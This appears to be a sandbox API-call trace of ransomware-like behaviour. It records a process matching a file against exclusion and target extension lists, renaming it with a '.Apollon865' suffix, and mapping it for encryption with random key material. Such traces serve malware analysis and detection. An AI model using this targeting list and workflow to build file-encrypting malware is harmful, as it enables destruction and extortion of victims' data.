	[0086.517] lstrlenW (lpString="vAoXMAlnnzvwS.swf") returned 17
	[0086.517] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\obFUBO-skue.mp4") returned 83
	[0086.517] lstrcpyW (in: lpString1=0x119e690, lpString2="vAoXMAlnnzvwS.swf" | out: lpString1="vAoXMAlnnzvwS.swf") returned="vAoXMAlnnzvwS.swf"
	[0086.517] lstrlenW (lpString="vAoXMAlnnzvwS.swf") returned 17
	[0086.517] lstrlenW (lpString="Apollon865") returned 10
	[0086.517] lstrcmpiW (lpString1="nnzvwS.swf", lpString2="Apollon865") returned 1
	[0086.517] lstrlenW (lpString=".dll") returned 4
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".dll") returned 1
	[0086.517] lstrlenW (lpString=".lnk") returned 4
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".lnk") returned 1
	[0086.517] lstrlenW (lpString=".ini") returned 4
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".ini") returned 1
	[0086.517] lstrlenW (lpString=".sys") returned 4
	[0086.517] lstrcmpiW (lpString1="vAoXMAlnnzvwS.swf", lpString2=".sys") returned 1
	[0086.517] lstrlenW (lpString="vAoXMAlnnzvwS.swf") returned 17
	[0086.517] lstrlenW (lpString="bak") returned 3
	[0086.517] lstrcmpiW (lpString1="swf", lpString2="bak") returned 1
	[0086.517] lstrlenW (lpString="ba_") returned 3
	[0086.517] lstrcmpiW (lpString1="swf", lpString2="ba_") returned 1
	[0086.517] lstrlenW (lpString="dbb") returned 3
	[0086.517] lstrcmpiW (lpString1="swf", lpString2="dbb") returned 1
	[0086.517] lstrlenW (lpString="vmdk") returned 4
	[0086.517] lstrcmpiW (lpString1=".swf", lpString2="vmdk") returned -1
	[0086.517] lstrlenW (lpString="rar") returned 3
	[0086.517] lstrcmpiW (lpString1="swf", lpString2="rar") returned 1
	[0086.518] lstrlenW (lpString="zip") returned 3
	[0086.518] lstrcmpiW (lpString1="swf", lpString2="zip") returned -1
	[0086.518] lstrlenW (lpString="tgz") returned 3
	[0086.518] lstrcmpiW (lpString1="swf", lpString2="tgz") returned -1
	[0086.518] lstrlenW (lpString="vbox") returned 4
	[0086.518] lstrcmpiW (lpString1=".swf", lpString2="vbox") returned -1
	[0086.518] lstrlenW (lpString="vdi") returned 3
	[0086.518] lstrcmpiW (lpString1="swf", lpString2="vdi") returned -1
	[0086.518] lstrlenW (lpString="vhd") returned 3
	[0086.518] lstrcmpiW (lpString1="swf", lpString2="vhd") returned -1
	[0086.518] lstrlenW (lpString="vhdx") returned 4
	[0086.518] lstrcmpiW (lpString1=".swf", lpString2="vhdx") returned -1
	[0086.518] lstrlenW (lpString="avhd") returned 4
	[0086.518] lstrcmpiW (lpString1=".swf", lpString2="avhd") returned -1
	[0086.518] lstrlenW (lpString="db") returned 2
	[0086.518] lstrcmpiW (lpString1="wf", lpString2="db") returned 1
	[0086.518] lstrlenW (lpString="db2") returned 3
	[0086.518] lstrcmpiW (lpString1="swf", lpString2="db2") returned 1
	[0086.519] lstrlenW (lpString="db3") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="db3") returned 1
	[0086.519] lstrlenW (lpString="dbf") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="dbf") returned 1
	[0086.519] lstrlenW (lpString="mdf") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="mdf") returned 1
	[0086.519] lstrlenW (lpString="mdb") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="mdb") returned 1
	[0086.519] lstrlenW (lpString="sql") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="sql") returned 1
	[0086.519] lstrlenW (lpString="sqlite") returned 6
	[0086.519] lstrcmpiW (lpString1="wS.swf", lpString2="sqlite") returned 1
	[0086.519] lstrlenW (lpString="sqlite3") returned 7
	[0086.519] lstrcmpiW (lpString1="vwS.swf", lpString2="sqlite3") returned 1
	[0086.519] lstrlenW (lpString="sqlitedb") returned 8
	[0086.519] lstrcmpiW (lpString1="zvwS.swf", lpString2="sqlitedb") returned 1
	[0086.519] lstrlenW (lpString="xml") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="xml") returned -1
	[0086.519] lstrlenW (lpString="$er") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="$er") returned 1
	[0086.519] lstrlenW (lpString="4dd") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="4dd") returned 1
	[0086.519] lstrlenW (lpString="4dl") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="4dl") returned 1
	[0086.519] lstrlenW (lpString="^^^") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="^^^") returned 1
	[0086.519] lstrlenW (lpString="abs") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="abs") returned 1
	[0086.519] lstrlenW (lpString="abx") returned 3
	[0086.519] lstrcmpiW (lpString1="swf", lpString2="abx") returned 1
	[0086.519] lstrlenW (lpString="accdb") returned 5
	[0086.519] lstrcmpiW (lpString1="S.swf", lpString2="accdb") returned 1
	[0086.519] lstrlenW (lpString="accdc") returned 5
	[0086.519] lstrcmpiW (lpString1="S.swf", lpString2="accdc") returned 1
	[0086.519] lstrlenW (lpString="accde") returned 5
	[0086.520] lstrcmpiW (lpString1="S.swf", lpString2="accde") returned 1
	[0086.520] lstrlenW (lpString="accdr") returned 5
	[0086.520] lstrcmpiW (lpString1="S.swf", lpString2="accdr") returned 1
	[0086.520] lstrlenW (lpString="accdt") returned 5
	[0086.520] lstrcmpiW (lpString1="S.swf", lpString2="accdt") returned 1
	[0086.520] lstrlenW (lpString="accdw") returned 5
	[0086.520] lstrcmpiW (lpString1="S.swf", lpString2="accdw") returned 1
	[0086.520] lstrlenW (lpString="accft") returned 5
	[0086.520] lstrcmpiW (lpString1="S.swf", lpString2="accft") returned 1
	[0086.520] lstrlenW (lpString="adb") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.520] lstrlenW (lpString="adb") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="adb") returned 1
	[0086.520] lstrlenW (lpString="ade") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="ade") returned 1
	[0086.520] lstrlenW (lpString="adf") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="adf") returned 1
	[0086.520] lstrlenW (lpString="adn") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="adn") returned 1
	[0086.520] lstrlenW (lpString="adp") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="adp") returned 1
	[0086.520] lstrlenW (lpString="alf") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="alf") returned 1
	[0086.520] lstrlenW (lpString="ask") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="ask") returned 1
	[0086.520] lstrlenW (lpString="btr") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="btr") returned 1
	[0086.520] lstrlenW (lpString="cat") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="cat") returned 1
	[0086.520] lstrlenW (lpString="cdb") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="cdb") returned 1
	[0086.520] lstrlenW (lpString="ckp") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="ckp") returned 1
	[0086.520] lstrlenW (lpString="cma") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="cma") returned 1
	[0086.520] lstrlenW (lpString="cpd") returned 3
	[0086.520] lstrcmpiW (lpString1="swf", lpString2="cpd") returned 1
	[0086.521] lstrlenW (lpString="dacpac") returned 6
	[0086.521] lstrcmpiW (lpString1="wS.swf", lpString2="dacpac") returned 1
	[0086.521] lstrlenW (lpString="dad") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dad") returned 1
	[0086.521] lstrlenW (lpString="dadiagrams") returned 10
	[0086.521] lstrcmpiW (lpString1="nnzvwS.swf", lpString2="dadiagrams") returned 1
	[0086.521] lstrlenW (lpString="daschema") returned 8
	[0086.521] lstrcmpiW (lpString1="zvwS.swf", lpString2="daschema") returned 1
	[0086.521] lstrlenW (lpString="db-journal") returned 10
	[0086.521] lstrcmpiW (lpString1="nnzvwS.swf", lpString2="db-journal") returned 1
	[0086.521] lstrlenW (lpString="db-shm") returned 6
	[0086.521] lstrcmpiW (lpString1="wS.swf", lpString2="db-shm") returned 1
	[0086.521] lstrlenW (lpString="db-wal") returned 6
	[0086.521] lstrcmpiW (lpString1="wS.swf", lpString2="db-wal") returned 1
	[0086.521] lstrlenW (lpString="dbc") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dbc") returned 1
	[0086.521] lstrlenW (lpString="dbs") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dbs") returned 1
	[0086.521] lstrlenW (lpString="dbt") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dbt") returned 1
	[0086.521] lstrlenW (lpString="dbv") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dbv") returned 1
	[0086.521] lstrlenW (lpString="dbx") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dbx") returned 1
	[0086.521] lstrlenW (lpString="dcb") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dcb") returned 1
	[0086.521] lstrlenW (lpString="dct") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dct") returned 1
	[0086.521] lstrlenW (lpString="dcx") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dcx") returned 1
	[0086.521] lstrlenW (lpString="ddl") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="ddl") returned 1
	[0086.521] lstrlenW (lpString="dlis") returned 4
	[0086.521] lstrcmpiW (lpString1=".swf", lpString2="dlis") returned -1
	[0086.521] lstrlenW (lpString="dp1") returned 3
	[0086.521] lstrcmpiW (lpString1="swf", lpString2="dp1") returned 1
	[0086.522] lstrlenW (lpString="dqy") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="dqy") returned 1
	[0086.522] lstrlenW (lpString="dsk") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="dsk") returned 1
	[0086.522] lstrlenW (lpString="dsn") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="dsn") returned 1
	[0086.522] lstrlenW (lpString="dtsx") returned 4
	[0086.522] lstrcmpiW (lpString1=".swf", lpString2="dtsx") returned -1
	[0086.522] lstrlenW (lpString="dxl") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="dxl") returned 1
	[0086.522] lstrlenW (lpString="eco") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="eco") returned 1
	[0086.522] lstrlenW (lpString="ecx") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="ecx") returned 1
	[0086.522] lstrlenW (lpString="edb") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="edb") returned 1
	[0086.522] lstrlenW (lpString="epim") returned 4
	[0086.522] lstrcmpiW (lpString1=".swf", lpString2="epim") returned -1
	[0086.522] lstrlenW (lpString="fcd") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="fcd") returned 1
	[0086.522] lstrlenW (lpString="fdb") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="fdb") returned 1
	[0086.522] lstrlenW (lpString="fic") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="fic") returned 1
	[0086.522] lstrlenW (lpString="flexolibrary") returned 12
	[0086.522] lstrcmpiW (lpString1="AlnnzvwS.swf", lpString2="flexolibrary") returned -1
	[0086.522] lstrlenW (lpString="fm5") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="fm5") returned 1
	[0086.522] lstrlenW (lpString="fmp") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="fmp") returned 1
	[0086.522] lstrlenW (lpString="fmp12") returned 5
	[0086.522] lstrcmpiW (lpString1="S.swf", lpString2="fmp12") returned 1
	[0086.522] lstrlenW (lpString="fmpsl") returned 5
	[0086.522] lstrcmpiW (lpString1="S.swf", lpString2="fmpsl") returned 1
	[0086.522] lstrlenW (lpString="fol") returned 3
	[0086.522] lstrcmpiW (lpString1="swf", lpString2="fol") returned 1
	[0086.522] lstrlenW (lpString="fp3") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="fp3") returned 1
	[0086.523] lstrlenW (lpString="fp4") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="fp4") returned 1
	[0086.523] lstrlenW (lpString="fp5") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="fp5") returned 1
	[0086.523] lstrlenW (lpString="fp7") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="fp7") returned 1
	[0086.523] lstrlenW (lpString="fpt") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="fpt") returned 1
	[0086.523] lstrlenW (lpString="frm") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="frm") returned 1
	[0086.523] lstrlenW (lpString="gdb") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1
	[0086.523] lstrlenW (lpString="gdb") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="gdb") returned 1
	[0086.523] lstrlenW (lpString="grdb") returned 4
	[0086.523] lstrcmpiW (lpString1=".swf", lpString2="grdb") returned -1
	[0086.523] lstrlenW (lpString="gwi") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="gwi") returned 1
	[0086.523] lstrlenW (lpString="hdb") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="hdb") returned 1
	[0086.523] lstrlenW (lpString="his") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="his") returned 1
	[0086.523] lstrlenW (lpString="ib") returned 2
	[0086.523] lstrcmpiW (lpString1="wf", lpString2="ib") returned 1
	[0086.523] lstrlenW (lpString="idb") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="idb") returned 1
	[0086.523] lstrlenW (lpString="ihx") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="ihx") returned 1
	[0086.523] lstrlenW (lpString="itdb") returned 4
	[0086.523] lstrcmpiW (lpString1=".swf", lpString2="itdb") returned -1
	[0086.523] lstrlenW (lpString="itw") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="itw") returned 1
	[0086.523] lstrlenW (lpString="jet") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="jet") returned 1
	[0086.523] lstrlenW (lpString="jtx") returned 3
	[0086.523] lstrcmpiW (lpString1="swf", lpString2="jtx") returned 1
	[0086.524] lstrlenW (lpString="kdb") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="kdb") returned 1
	[0086.524] lstrlenW (lpString="kexi") returned 4
	[0086.524] lstrcmpiW (lpString1=".swf", lpString2="kexi") returned -1
	[0086.524] lstrlenW (lpString="kexic") returned 5
	[0086.524] lstrcmpiW (lpString1="S.swf", lpString2="kexic") returned 1
	[0086.524] lstrlenW (lpString="kexis") returned 5
	[0086.524] lstrcmpiW (lpString1="S.swf", lpString2="kexis") returned 1
	[0086.524] lstrlenW (lpString="lgc") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="lgc") returned 1
	[0086.524] lstrlenW (lpString="lwx") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="lwx") returned 1
	[0086.524] lstrlenW (lpString="maf") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="maf") returned 1
	[0086.524] lstrlenW (lpString="maq") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="maq") returned 1
	[0086.524] lstrlenW (lpString="mar") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mar") returned 1
	[0086.524] lstrlenW (lpString="marshal") returned 7
	[0086.524] lstrcmpiW (lpString1="vwS.swf", lpString2="marshal") returned 1
	[0086.524] lstrlenW (lpString="mas") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mas") returned 1
	[0086.524] lstrlenW (lpString="mav") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mav") returned 1
	[0086.524] lstrlenW (lpString="maw") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="maw") returned 1
	[0086.524] lstrlenW (lpString="mdbhtml") returned 7
	[0086.524] lstrcmpiW (lpString1="vwS.swf", lpString2="mdbhtml") returned 1
	[0086.524] lstrlenW (lpString="mdn") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mdn") returned 1
	[0086.524] lstrlenW (lpString="mdt") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mdt") returned 1
	[0086.524] lstrlenW (lpString="mfd") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mfd") returned 1
	[0086.524] lstrlenW (lpString="mpd") returned 3
	[0086.524] lstrcmpiW (lpString1="swf", lpString2="mpd") returned 1
	[0086.524] lstrlenW (lpString="mrg") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="mrg") returned 1
	[0086.525] lstrlenW (lpString="mud") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="mud") returned 1
	[0086.525] lstrlenW (lpString="mwb") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="mwb") returned 1
	[0086.525] lstrlenW (lpString="myd") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="myd") returned 1
	[0086.525] lstrlenW (lpString="ndf") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="ndf") returned 1
	[0086.525] lstrlenW (lpString="nnt") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="nnt") returned 1
	[0086.525] lstrlenW (lpString="nrmlib") returned 6
	[0086.525] lstrcmpiW (lpString1="wS.swf", lpString2="nrmlib") returned 1
	[0086.525] lstrlenW (lpString="ns2") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="ns2") returned 1
	[0086.525] lstrlenW (lpString="ns3") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="ns3") returned 1
	[0086.525] lstrlenW (lpString="ns4") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="ns4") returned 1
	[0086.525] lstrlenW (lpString="nsf") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="nsf") returned 1
	[0086.525] lstrlenW (lpString="nv") returned 2
	[0086.525] lstrcmpiW (lpString1="wf", lpString2="nv") returned 1
	[0086.525] lstrlenW (lpString="nv2") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="nv2") returned 1
	[0086.525] lstrlenW (lpString="nwdb") returned 4
	[0086.525] lstrcmpiW (lpString1=".swf", lpString2="nwdb") returned -1
	[0086.525] lstrlenW (lpString="nyf") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="nyf") returned 1
	[0086.525] lstrlenW (lpString="odb") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1
	[0086.525] lstrlenW (lpString="odb") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="odb") returned 1
	[0086.525] lstrlenW (lpString="oqy") returned 3
	[0086.525] lstrcmpiW (lpString1="swf", lpString2="oqy") returned 1
	[0086.525] lstrlenW (lpString="ora") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="ora") returned 1
	[0086.526] lstrlenW (lpString="orx") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="orx") returned 1
	[0086.526] lstrlenW (lpString="owc") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="owc") returned 1
	[0086.526] lstrlenW (lpString="p96") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="p96") returned 1
	[0086.526] lstrlenW (lpString="p97") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="p97") returned 1
	[0086.526] lstrlenW (lpString="pan") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="pan") returned 1
	[0086.526] lstrlenW (lpString="pdb") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="pdb") returned 1
	[0086.526] lstrlenW (lpString="pdm") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="pdm") returned 1
	[0086.526] lstrlenW (lpString="pnz") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="pnz") returned 1
	[0086.526] lstrlenW (lpString="qry") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="qry") returned 1
	[0086.526] lstrlenW (lpString="qvd") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="qvd") returned 1
	[0086.526] lstrlenW (lpString="rbf") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="rbf") returned 1
	[0086.526] lstrlenW (lpString="rctd") returned 4
	[0086.526] lstrcmpiW (lpString1=".swf", lpString2="rctd") returned -1
	[0086.526] lstrlenW (lpString="rod") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="rod") returned 1
	[0086.526] lstrlenW (lpString="rodx") returned 4
	[0086.526] lstrcmpiW (lpString1=".swf", lpString2="rodx") returned -1
	[0086.526] lstrlenW (lpString="rpd") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="rpd") returned 1
	[0086.526] lstrlenW (lpString="rsd") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="rsd") returned 1
	[0086.526] lstrlenW (lpString="sas7bdat") returned 8
	[0086.526] lstrcmpiW (lpString1="zvwS.swf", lpString2="sas7bdat") returned 1
	[0086.526] lstrlenW (lpString="sbf") returned 3
	[0086.526] lstrcmpiW (lpString1="swf", lpString2="sbf") returned 1
	[0086.527] lstrlenW (lpString="scx") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="scx") returned 1
	[0086.527] lstrlenW (lpString="sdb") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="sdb") returned 1
	[0086.527] lstrlenW (lpString="sdc") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="sdc") returned 1
	[0086.527] lstrlenW (lpString="sdf") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="sdf") returned 1
	[0086.527] lstrlenW (lpString="sis") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="sis") returned 1
	[0086.527] lstrlenW (lpString="spq") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="spq") returned 1
	[0086.527] lstrlenW (lpString="te") returned 2
	[0086.527] lstrcmpiW (lpString1="wf", lpString2="te") returned 1
	[0086.527] lstrlenW (lpString="teacher") returned 7
	[0086.527] lstrcmpiW (lpString1="vwS.swf", lpString2="teacher") returned 1
	[0086.527] lstrlenW (lpString="tmd") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="tmd") returned -1
	[0086.527] lstrlenW (lpString="tps") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="tps") returned -1
	[0086.527] lstrlenW (lpString="trc") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1
	[0086.527] lstrlenW (lpString="trc") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="trc") returned -1
	[0086.527] lstrlenW (lpString="trm") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="trm") returned -1
	[0086.527] lstrlenW (lpString="udb") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="udb") returned -1
	[0086.527] lstrlenW (lpString="udl") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="udl") returned -1
	[0086.527] lstrlenW (lpString="usr") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="usr") returned -1
	[0086.527] lstrlenW (lpString="v12") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="v12") returned -1
	[0086.527] lstrlenW (lpString="vis") returned 3
	[0086.527] lstrcmpiW (lpString1="swf", lpString2="vis") returned -1
	[0086.527] lstrlenW (lpString="vpd") returned 3
	[0086.528] lstrcmpiW (lpString1="swf", lpString2="vpd") returned -1
	[0086.528] lstrlenW (lpString="vvv") returned 3
	[0086.528] lstrcmpiW (lpString1="swf", lpString2="vvv") returned -1
	[0086.528] lstrlenW (lpString="wdb") returned 3
	[0086.528] lstrcmpiW (lpString1="swf", lpString2="wdb") returned -1
	[0086.528] lstrlenW (lpString="wmdb") returned 4
	[0086.528] lstrcmpiW (lpString1=".swf", lpString2="wmdb") returned -1
	[0086.528] lstrlenW (lpString="wrk") returned 3
	[0086.528] lstrcmpiW (lpString1="swf", lpString2="wrk") returned -1
	[0086.528] lstrlenW (lpString="xdb") returned 3
	[0086.528] lstrcmpiW (lpString1="swf", lpString2="xdb") returned -1
	[0086.528] lstrlenW (lpString="xld") returned 3
	[0086.528] lstrcmpiW (lpString1="swf", lpString2="xld") returned -1
	[0086.528] lstrlenW (lpString="xmlff") returned 5
	[0086.528] lstrcmpiW (lpString1="S.swf", lpString2="xmlff") returned -1
	[0086.528] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\vAoXMAlnnzvwS.swf.Apollon865") returned 96
	[0086.528] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\vAoXMAlnnzvwS.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\vaoxmalnnzvws.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\vAoXMAlnnzvwS.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\vaoxmalnnzvws.swf.apollon865"), dwFlags=0x1) returned 1
	[0086.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\vAoXMAlnnzvwS.swf.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x0jmpelfna\\vitkbytcvnkfqozjrpm\\vaoxmalnnzvws.swf.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.530] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=60945) returned 1
	[0086.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.530] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.531] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.531] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.531] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf120, lpName=0x0) returned 0x15c
	[0086.531] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf120) returned 0x100000
	[0086.534] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.535] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.535] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0086.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0086.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.535] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
